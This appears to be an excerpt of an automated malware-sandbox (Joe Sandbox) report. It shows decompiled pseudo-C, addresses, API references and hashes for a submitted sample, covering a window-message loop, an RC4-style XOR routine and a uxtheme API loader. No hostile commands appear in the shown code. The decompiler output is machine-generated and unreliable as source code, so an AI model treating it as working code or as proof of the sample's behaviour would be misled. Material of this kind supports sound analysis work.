						__eflags = _t57 -  *((intOrPtr*)(_t121 + 0xc));
						if(_t57 ==  *((intOrPtr*)(_t121 + 0xc))) {
							break;
						}
						_t145 = _t145 + 1;
						_t92 = _t92 - 1;
						__eflags = _t92;
						if(_t92 != 0) {
							continue;
						}
						goto L37;
					}
					E0040B504(_v8, _t145);
					_t60 = E004122E0(1,  *((intOrPtr*)(_v16 + 8)));
					__eflags = _t60;
					if(_t60 == 0) {
						E0040B504(_v8, _t145);
						__eflags = 0;
						_t60 = E004122E0(0,  *((intOrPtr*)(_v16 + 0xc)));
					}
					_t125 =  *0x48d62c; // 0x2160660
					_t126 =  *(_t125 + 0x40);
					__eflags = _t126;
					if(_t126 != 0) {
						__eflags =  *(_t126 + 0x110) & 0x00000008;
						if(( *(_t126 + 0x110) & 0x00000008) == 0) {
							E004249B4(_t60);
						} else {
							E004249C0();
						}
						_pop(_t128);
						 *[fs:eax] = _t128;
						return 0;
					} else {
						_pop( *[fs:0x0]);
						return _t60;
					}
				}
				_t68 = _t46 - 0xbe;
				if(_t68 == 0) {
					_t94 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t94;
					if(_t94 < 0) {
						goto L37;
					}
					_t95 = _t94 + 1;
					_t146 = 0;
					__eflags = 0;
					while(1) {
						E0040B504(_v8, _t146);
						_t72 = E00412314( *(_t149 + 4), __eflags);
						__eflags = _t72;
						if(_t72 != 0) {
							break;
						}
						_t146 = _t146 + 1;
						_t95 = _t95 - 1;
						__eflags = _t95;
						if(_t95 != 0) {
							continue;
						}
						goto L37;
					}
					_pop(_t135);
					 *[fs:eax] = _t135;
					return 0;
				}
				_t74 = _t68 - 6;
				if(_t74 == 0) {
					_t97 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t97;
					if(_t97 < 0) {
						goto L37;
					}
					_t98 = _t97 + 1;
					_t147 = 0;
					__eflags = 0;
					while(1) {
						E0040B504(_v8, _t147);
						_t78 = E00412330( *(_t149 + 4), __eflags);
						__eflags = _t78;
						if(_t78 != 0) {
							break;
						}
						_t147 = _t147 + 1;
						_t98 = _t98 - 1;
						__eflags = _t98;
						if(_t98 != 0) {
							continue;
						}
						goto L37;
					}
					_pop(_t138);
					 *[fs:eax] = _t138;
					return 0;
				}
				if(_t74 == 8) {
					_v9 = 0;
					__eflags =  *(__edx + 6) & 0x00000010;
					if(( *(__edx + 6) & 0x00000010) != 0) {
						_v9 = 1;
					}
					_t100 =  *((intOrPtr*)(_v8 + 8)) - 1;
					__eflags = _t100;
					if(__eflags < 0) {
						L24:
						_t82 =  *0x48d628; // 0x2162410
						E00424BBC(_t82, 0, _t144, __eflags);
						goto L37;
					} else {
						_t101 = _t100 + 1;
						_t148 = 0;
						__eflags = 0;
						while(1) {
							__eflags = E004122B0(E0040B504(_v8, _t148), _v9,  *(_t149 + 4) & 0x0000ffff);
							if(__eflags != 0) {
								break;
							}
							_t148 = _t148 + 1;
							_t101 = _t101 - 1;
							__eflags = _t101;
							if(__eflags != 0) {
								continue;
							}
							goto L24;
						}
						_t87 =  *0x48d628; // 0x2162410
						E00424BBC(_t87,  *((intOrPtr*)(_t86 + 0x38)), _t148, __eflags);
						_pop(_t143);
						 *[fs:eax] = _t143;
						return 0;
					}
				}
				goto L37;
			}

0x004126a9
0x004126ab
0x004126b1
0x004126b6
0x004126b9
0x004126be
0x004126c1
0x004127c6
0x004127cf
0x004127d0
0x004127d2
0x00412879
0x0041287c
0x00412880
0x00412883
0x00412887
0x0041288b
0x00412890
0x00412895
0x00412898
0x00000000
0x00412898
0x004127d8
0x004127d9
0x004127d9
0x004127db
0x004127e7
0x004127ea
0x004127ed
0x004127f0
0x00000000
0x00000000
0x00412871
0x00412872
0x00412872
0x00412873
0x00000000
0x00000000
0x00000000
0x00412873
0x004127f7
0x00412805
0x0041280a
0x0041280c
0x00412813
0x0041281f
0x00412821
0x00412821
0x00412826
0x0041282c
0x0041282f
0x00412831
0x0041283f
0x00412846
0x00412862
0x00412848
0x00412854
0x00412854
0x00412869
0x0041286c
0x00000000
0x00412833
0x00412833
0x00000000
0x0041283a
0x00412831
0x004126c7
0x004126cc
0x004126e7
0x004126e8
0x004126ea
0x00000000
0x00000000
0x004126f0
0x004126f1
0x004126f1
0x004126f3
0x004126f8
0x00412701
0x00412706
0x00412708
0x00000000
0x00000000
0x00412717
0x00412718
0x00412718
0x00412719
0x00000000
0x00000000
0x00000000
0x0041271b
0x0041270c
0x0041270f
0x00000000
0x0041270f
0x004126ce
0x004126d1
0x00412726
0x00412727
0x00412729
0x00000000
0x00000000
0x0041272f
0x00412730
0x00412730
0x00412732
0x00412737
0x0041273f
0x00412744
0x00412746
0x00000000
0x00000000
0x00412755
0x00412756
0x00412756
0x00412757
0x00000000
0x00000000
0x00000000
0x00412759
0x0041274a
0x0041274d
0x00000000
0x0041274d
0x004126d6
0x0041275e
0x00412762
0x00412766
0x00412768
0x00412768
0x00412772
0x00412773
0x00412775
0x004127b2
0x004127b4
0x004127b9
0x00000000
0x00412777
0x00412777
0x00412778
0x00412778
0x0041277a
0x00412790
0x00412792
0x00000000
0x00000000
0x004127ae
0x004127af
0x004127af
0x004127b0
0x00000000
0x00000000
0x00000000
0x004127b0
0x00412797
0x0041279c
0x004127a3
0x004127a6
0x00000000
0x004127a6
0x00412775
0x00000000

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,0041289D), ref: 0041288B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: e3fcff2c66ec7f6e757c4ae7fef65e8f873ebdf0c45899a4688c3efbbcf21d8a
Instruction ID: 36b9d0047ee0a29776eabb05bf093a7c0386881185b34e0cb4d9ddd626c11e39
Opcode Fuzzy Hash: e3fcff2c66ec7f6e757c4ae7fef65e8f873ebdf0c45899a4688c3efbbcf21d8a
Instruction Fuzzy Hash: 1651F5316046058BD714EF6AD681A9BF3E1FF94314B2086BBD814D3761E7B8ED92CB48

Uniqueness

Uniqueness Score: -1.00%

Function 10001130 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001130() {
				signed char _t24;
				signed char _t25;
				intOrPtr _t30;
				signed char _t34;
				intOrPtr _t35;
				char _t37;
				intOrPtr _t41;
				char* _t43;
				char* _t48;
				signed char* _t52;
				void* _t54;

				_t41 =  *((intOrPtr*)(_t54 + 4));
				_t35 =  *((intOrPtr*)(_t54 + 0x10));
				_t24 =  *((intOrPtr*)(_t41 + 0x101));
				_t34 =  *(_t41 + 0x100);
				if(_t35 <= 0) {
					 *(_t41 + 0x100) = _t34;
					 *((char*)(_t41 + 0x101)) = _t24;
					return _t24;
				} else {
					_t52 =  *(_t54 + 0x14);
					 *((intOrPtr*)(_t54 + 0x18)) =  *(_t54 + 0x14) - _t52;
					 *((intOrPtr*)(_t54 + 0x20)) = _t35;
					while(1) {
						_t34 = _t34 + 1;
						_t48 = (_t34 & 0x000000ff) + _t41;
						_t37 =  *_t48;
						_t25 = _t24 + _t37;
						 *(_t54 + 0x14) = _t25;
						_t43 = (_t25 & 0x000000ff) + _t41;
						 *_t48 =  *_t43;
						 *_t43 = _t37;
						if( *((intOrPtr*)(_t54 + 0x1c)) != 0) {
							 *_t52 =  *((0 + _t37 & 0x000000ff) + _t41) ^  *( *((intOrPtr*)(_t54 + 0x18)) + _t52);
						}
						_t52 =  &(_t52[1]);
						_t30 =  *((intOrPtr*)(_t54 + 0x20)) - 1;
						 *((intOrPtr*)(_t54 + 0x20)) = _t30;
						if(_t30 == 0) {
							break;
						}
						_t24 =  *(_t54 + 0x14);
					}
					 *(_t41 + 0x100) = _t34;
					 *((char*)(_t41 + 0x101)) =  *(_t54 + 0x14);
					return _t30;
				}
			}

0x10001130
0x10001134
0x1000113a
0x10001141
0x10001147
0x100011c1
0x100011c7
0x100011ce
0x10001149
0x1000114a
0x10001156
0x1000115a
0x10001164
0x10001164
0x10001169
0x1000116c
0x1000116e
0x10001170
0x10001177
0x1000117e
0x10001186
0x10001188
0x1000119b
0x1000119b
0x100011a2
0x100011a3
0x100011a4
0x100011a8
0x00000000
0x00000000
0x10001160
0x10001160
0x100011b1
0x100011b7
0x100011be
0x100011be

Memory Dump Source

Source File: 00000001.00000002.447080540.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.447060865.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.447093727.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 10001000 Relevance: .0, Instructions: 2
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001000() {

				return 1;
			}

0x10001005

Memory Dump Source

Source File: 00000001.00000002.447080540.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.447060865.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.447093727.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0044B310 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0044B310() {
				signed int _t3;
				signed int _t5;
				signed int _t6;
				signed int _t7;
				signed int _t8;
				signed int _t9;
				signed int _t10;
				signed int _t11;
				signed int _t12;
				signed int _t13;
				signed int _t14;
				signed int _t15;
				signed int _t16;
				signed int _t17;
				signed int _t18;
				signed int _t19;
				signed int _t20;
				signed int _t21;
				signed int _t22;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t34;
				signed int _t35;
				signed int _t36;
				signed int _t37;
				signed int _t38;
				signed int _t39;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t49;
				signed int _t50;

				 *0x48d740 =  *0x48d740 + 1;
				if( *0x48d73c == 0) {
					_t3 = E0044B2BC();
					if(_t3 != 0) {
						_t3 = LoadLibraryA("uxtheme.dll");
						 *0x48d73c = _t3;
						if( *0x48d73c != 0) {
							_push("OpenThemeData");
							_t5 =  *0x48d73c;
							_push(_t5);
							L00405A9C();
							 *0x48d680 = _t5;
							_push("CloseThemeData");
							_t6 =  *0x48d73c;
							_push(_t6);
							L00405A9C();
							 *0x48d684 = _t6;
							_push("DrawThemeBackground");
							_t7 =  *0x48d73c;
							_push(_t7);
							L00405A9C();
							 *0x48d688 = _t7;
							_push("DrawThemeText");
							_t8 =  *0x48d73c;
							_push(_t8);
							L00405A9C();
							 *0x48d68c = _t8;
							_push("GetThemeBackgroundContentRect");
							_t9 =  *0x48d73c;
							_push(_t9);
							L00405A9C();
							 *0x48d690 = _t9;
							_push("GetThemeBackgroundContentRect");
							_t10 =  *0x48d73c;
							_push(_t10);
							L00405A9C();
							 *0x48d694 = _t10;
							_push("GetThemePartSize");
							_t11 =  *0x48d73c;
							_push(_t11);
							L00405A9C();
							 *0x48d698 = _t11;
							_push("GetThemeTextExtent");
							_t12 =  *0x48d73c;
							_push(_t12);
							L00405A9C();
							 *0x48d69c = _t12;
							_push("GetThemeTextMetrics");
							_t13 =  *0x48d73c;
							_push(_t13);
							L00405A9C();
							 *0x48d6a0 = _t13;
							_push("GetThemeBackgroundRegion");
							_t14 =  *0x48d73c;
							_push(_t14);
							L00405A9C();
							 *0x48d6a4 = _t14;
							_push("HitTestThemeBackground");
							_t15 =  *0x48d73c;
							_push(_t15);
							L00405A9C();
							 *0x48d6a8 = _t15;
							_push("DrawThemeEdge");
							_t16 =  *0x48d73c;
							_push(_t16);
							L00405A9C();
							 *0x48d6ac = _t16;
							_push("DrawThemeIcon");
							_t17 =  *0x48d73c;
							_push(_t17);
							L00405A9C();
							 *0x48d6b0 = _t17;
							_push("IsThemePartDefined");
							_t18 =  *0x48d73c;
							_push(_t18);
							L00405A9C();
							 *0x48d6b4 = _t18;
							_push("IsThemeBackgroundPartiallyTransparent");
							_t19 =  *0x48d73c;
							_push(_t19);
							L00405A9C();
							 *0x48d6b8 = _t19;
							_push("GetThemeColor");
							_t20 =  *0x48d73c;
							_push(_t20);
							L00405A9C();
							 *0x48d6bc = _t20;
							_push("GetThemeMetric");
							_t21 =  *0x48d73c;
							_push(_t21);
							L00405A9C();
							 *0x48d6c0 = _t21;
							_push("GetThemeString");
							_t22 =  *0x48d73c;
							_push(_t22);
							L00405A9C();
							 *0x48d6c4 = _t22;
							_push("GetThemeBool");
							_t23 =  *0x48d73c;
							_push(_t23);
							L00405A9C();
							 *0x48d6c8 = _t23;
							_push("GetThemeInt");
							_t24 =  *0x48d73c;
							_push(_t24);
							L00405A9C();
							 *0x48d6cc = _t24;
							_push("GetThemeEnumValue");
							_t25 =  *0x48d73c;
							_push(_t25);
							L00405A9C();
							 *0x48d6d0 = _t25;
							_push("GetThemePosition");
							_t26 =  *0x48d73c;
							_push(_t26);
							L00405A9C();
							 *0x48d6d4 = _t26;
							_push("GetThemeFont");
							_t27 =  *0x48d73c;
							_push(_t27);
							L00405A9C();
							 *0x48d6d8 = _t27;
							_push("GetThemeRect");
							_t28 =  *0x48d73c;
							_push(_t28);
							L00405A9C();
							 *0x48d6dc = _t28;
							_push("GetThemeMargins");
							_t29 =  *0x48d73c;
							_push(_t29);
							L00405A9C();
							 *0x48d6e0 = _t29;
							_push("GetThemeIntList");
							_t30 =  *0x48d73c;
							_push(_t30);
							L00405A9C();
							 *0x48d6e4 = _t30;
							_push("GetThemePropertyOrigin");
							_t31 =  *0x48d73c;
							_push(_t31);
							L00405A9C();
							 *0x48d6e8 = _t31;
							_push("SetWindowTheme");
							_t32 =  *0x48d73c;
							_push(_t32);
							L00405A9C();
							 *0x48d6ec = _t32;
							_push("GetThemeFilename");
							_t33 =  *0x48d73c;
							_push(_t33);
							L00405A9C();
							 *0x48d6f0 = _t33;
							_push("GetThemeSysColor");
							_t34 =  *0x48d73c;
							_push(_t34);
							L00405A9C();
							 *0x48d6f4 = _t34;
							_push("GetThemeSysColorBrush");
							_t35 =  *0x48d73c;
							_push(_t35);
							L00405A9C();
							 *0x48d6f8 = _t35;
							_push("GetThemeSysBool");
							_t36 =  *0x48d73c;
							_push(_t36);
							L00405A9C();
							 *0x48d6fc = _t36;
							_push("GetThemeSysSize");
							_t37 =  *0x48d73c;
							_push(_t37);
							L00405A9C();
							 *0x48d700 = _t37;
							_push("GetThemeSysFont");
							_t38 =  *0x48d73c;
							_push(_t38);
							L00405A9C();
							 *0x48d704 = _t38;
							_push("GetThemeSysString");
							_t39 =  *0x48d73c;
							_push(_t39);
							L00405A9C();
							 *0x48d708 = _t39;
							_push("GetThemeSysInt");
							_t40 =  *0x48d73c;
							_push(_t40);
							L00405A9C();
							 *0x48d70c = _t40;
							_push("IsThemeActive");
							_t41 =  *0x48d73c;
							_push(_t41);
							L00405A9C();
							 *0x48d710 = _t41;
							_push("IsAppThemed");
							_t42 =  *0x48d73c;
							_push(_t42);
							L00405A9C();
							 *0x48d714 = _t42;
							_push("GetWindowTheme");
							_t43 =  *0x48d73c;
							_push(_t43);
							L00405A9C();
							 *0x48d718 = _t43;
							_push("EnableThemeDialogTexture");
							_t44 =  *0x48d73c;
							_push(_t44);
							L00405A9C();
							 *0x48d71c = _t44;
							_push("IsThemeDialogTextureEnabled");
							_t45 =  *0x48d73c;
							_push(_t45);
							L00405A9C();
							 *0x48d720 = _t45;
							_push("GetThemeAppProperties");
							_t46 =  *0x48d73c;
							_push(_t46);
							L00405A9C();
							 *0x48d724 = _t46;
							_push("SetThemeAppProperties");
							_t47 =  *0x48d73c;
							_push(_t47);
							L00405A9C();
							 *0x48d728 = _t47;
							_push("GetCurrentThemeName");
							_t48 =  *0x48d73c;
							_push(_t48);
							L00405A9C();
							 *0x48d72c = _t48;
							_push("GetThemeDocumentationProperty");
							_t49 =  *0x48d73c;
							_push(_t49);
							L00405A9C();
							 *0x48d730 = _t49;
							_push("DrawThemeParentBackground");
							_t50 =  *0x48d73c;
							_push(_t50);
							L00405A9C();
							 *0x48d734 = _t50;
							_push("EnableTheming");
							_t3 =  *0x48d73c;
							_push(_t3);
							L00405A9C();
							 *0x48d738 = _t3;
						}
					}
				}
				return _t3 & 0xffffff00 |  *0x48d73c != 0x00000000;
			}

0x0044b316
0x0044b31f
0x0044b325
0x0044b32c
0x0044b337
0x0044b33c
0x0044b341
0x0044b347
0x0044b34c
0x0044b34e
0x0044b34f
0x0044b354
0x0044b359
0x0044b35e
0x0044b360
0x0044b361
0x0044b366
0x0044b36b
0x0044b370
0x0044b372
0x0044b373
0x0044b378
0x0044b37d
0x0044b382
0x0044b384
0x0044b385
0x0044b38a
0x0044b38f
0x0044b394
0x0044b396
0x0044b397
0x0044b39c
0x0044b3a1
0x0044b3a6
0x0044b3a8
0x0044b3a9
0x0044b3ae
0x0044b3b3
0x0044b3b8
0x0044b3ba
0x0044b3bb
0x0044b3c0
0x0044b3c5
0x0044b3ca
0x0044b3cc
0x0044b3cd
0x0044b3d2
0x0044b3d7
0x0044b3dc
0x0044b3de
0x0044b3df
0x0044b3e4
0x0044b3e9
0x0044b3ee
0x0044b3f0
0x0044b3f1
0x0044b3f6
0x0044b3fb
0x0044b400
0x0044b402
0x0044b403
0x0044b408
0x0044b40d
0x0044b412
0x0044b414
0x0044b415
0x0044b41a
0x0044b41f
0x0044b424
0x0044b426
0x0044b427
0x0044b42c
0x0044b431
0x0044b436
0x0044b438
0x0044b439
0x0044b43e
0x0044b443
0x0044b448
0x0044b44a
0x0044b44b
0x0044b450
0x0044b455
0x0044b45a
0x0044b45c
0x0044b45d
0x0044b462
0x0044b467
0x0044b46c
0x0044b46e
0x0044b46f
0x0044b474
0x0044b479
0x0044b47e
0x0044b480
0x0044b481
0x0044b486
0x0044b48b
0x0044b490
0x0044b492
0x0044b493
0x0044b498
0x0044b49d
0x0044b4a2
0x0044b4a4
0x0044b4a5
0x0044b4aa
0x0044b4af
0x0044b4b4
0x0044b4b6
0x0044b4b7
0x0044b4bc
0x0044b4c1
0x0044b4c6
0x0044b4c8
0x0044b4c9
0x0044b4ce
0x0044b4d3
0x0044b4d8
0x0044b4da
0x0044b4db
0x0044b4e0
0x0044b4e5
0x0044b4ea
0x0044b4ec
0x0044b4ed
0x0044b4f2
0x0044b4f7
0x0044b4fc
0x0044b4fe
0x0044b4ff
0x0044b504
0x0044b509
0x0044b50e
0x0044b510
0x0044b511
0x0044b516
0x0044b51b
0x0044b520
0x0044b522
0x0044b523
0x0044b528
0x0044b52d
0x0044b532
0x0044b534
0x0044b535
0x0044b53a
0x0044b53f
0x0044b544
0x0044b546
0x0044b547
0x0044b54c
0x0044b551
0x0044b556
0x0044b558
0x0044b559
0x0044b55e
0x0044b563
0x0044b568
0x0044b56a
0x0044b56b
0x0044b570
0x0044b575
0x0044b57a
0x0044b57c
0x0044b57d
0x0044b582
0x0044b587
0x0044b58c
0x0044b58e
0x0044b58f
0x0044b594
0x0044b599
0x0044b59e
0x0044b5a0
0x0044b5a1
0x0044b5a6
0x0044b5ab
0x0044b5b0
0x0044b5b2
0x0044b5b3
0x0044b5b8
0x0044b5bd
0x0044b5c2
0x0044b5c4
0x0044b5c5
0x0044b5ca
0x0044b5cf
0x0044b5d4
0x0044b5d6
0x0044b5d7
0x0044b5dc
0x0044b5e1
0x0044b5e6
0x0044b5e8
0x0044b5e9
0x0044b5ee
0x0044b5f3
0x0044b5f8
0x0044b5fa
0x0044b5fb
0x0044b600
0x0044b605
0x0044b60a
0x0044b60c
0x0044b60d
0x0044b612
0x0044b617
0x0044b61c
0x0044b61e
0x0044b61f
0x0044b624
0x0044b629
0x0044b62e
0x0044b630
0x0044b631
0x0044b636
0x0044b63b
0x0044b640
0x0044b642
0x0044b643
0x0044b648
0x0044b64d
0x0044b652
0x0044b654
0x0044b655
0x0044b65a
0x0044b65f
0x0044b664
0x0044b666
0x0044b667
0x0044b66c
0x0044b671
0x0044b676
0x0044b678
0x0044b679
0x0044b67e
0x0044b683
0x0044b688
0x0044b68a
0x0044b68b
0x0044b690
0x0044b690
0x0044b341
0x0044b32c
0x0044b69c

APIs

Part of subcall function 0044B2BC: GetVersionExA.KERNEL32(00000094), ref: 0044B2D9

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B337
6C8D5550.KERNEL32(00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B34F
6C8D5550.KERNEL32(00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B361
6C8D5550.KERNEL32(00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B373
6C8D5550.KERNEL32(00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B385
6C8D5550.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B397
6C8D5550.KERNEL32(00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll,?,0044F419,0048B7A2), ref: 0044B3A9
6C8D5550.KERNEL32(00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData,uxtheme.dll), ref: 0044B3BB
6C8D5550.KERNEL32(00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData,00000000,OpenThemeData), ref: 0044B3CD
6C8D5550.KERNEL32(00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground,00000000,CloseThemeData), ref: 0044B3DF
6C8D5550.KERNEL32(00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText,00000000,DrawThemeBackground), ref: 0044B3F1
6C8D5550.KERNEL32(00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect,00000000,DrawThemeText), ref: 0044B403
6C8D5550.KERNEL32(00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect,00000000,GetThemeBackgroundContentRect), ref: 0044B415
6C8D5550.KERNEL32(00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize,00000000,GetThemeBackgroundContentRect), ref: 0044B427
6C8D5550.KERNEL32(00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent,00000000,GetThemePartSize), ref: 0044B439
6C8D5550.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics,00000000,GetThemeTextExtent), ref: 0044B44B
6C8D5550.KERNEL32(00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion,00000000,GetThemeTextMetrics), ref: 0044B45D
6C8D5550.KERNEL32(00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground,00000000,GetThemeBackgroundRegion), ref: 0044B46F
6C8D5550.KERNEL32(00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge,00000000,HitTestThemeBackground), ref: 0044B481
6C8D5550.KERNEL32(00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon,00000000,DrawThemeEdge), ref: 0044B493
6C8D5550.KERNEL32(00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined,00000000,DrawThemeIcon), ref: 0044B4A5
6C8D5550.KERNEL32(00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent,00000000,IsThemePartDefined), ref: 0044B4B7
6C8D5550.KERNEL32(00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor,00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B4C9
6C8D5550.KERNEL32(00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric,00000000,GetThemeColor), ref: 0044B4DB
6C8D5550.KERNEL32(00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString,00000000,GetThemeMetric), ref: 0044B4ED
6C8D5550.KERNEL32(00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool,00000000,GetThemeString), ref: 0044B4FF
6C8D5550.KERNEL32(00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt,00000000,GetThemeBool), ref: 0044B511
6C8D5550.KERNEL32(00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue,00000000,GetThemeInt), ref: 0044B523
6C8D5550.KERNEL32(00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition,00000000,GetThemeEnumValue), ref: 0044B535
6C8D5550.KERNEL32(00000000,GetThemeFilename,00000000,SetWindowTheme,00000000,GetThemePropertyOrigin,00000000,GetThemeIntList,00000000,GetThemeMargins,00000000,GetThemeRect,00000000,GetThemeFont,00000000,GetThemePosition), ref: 0044B547
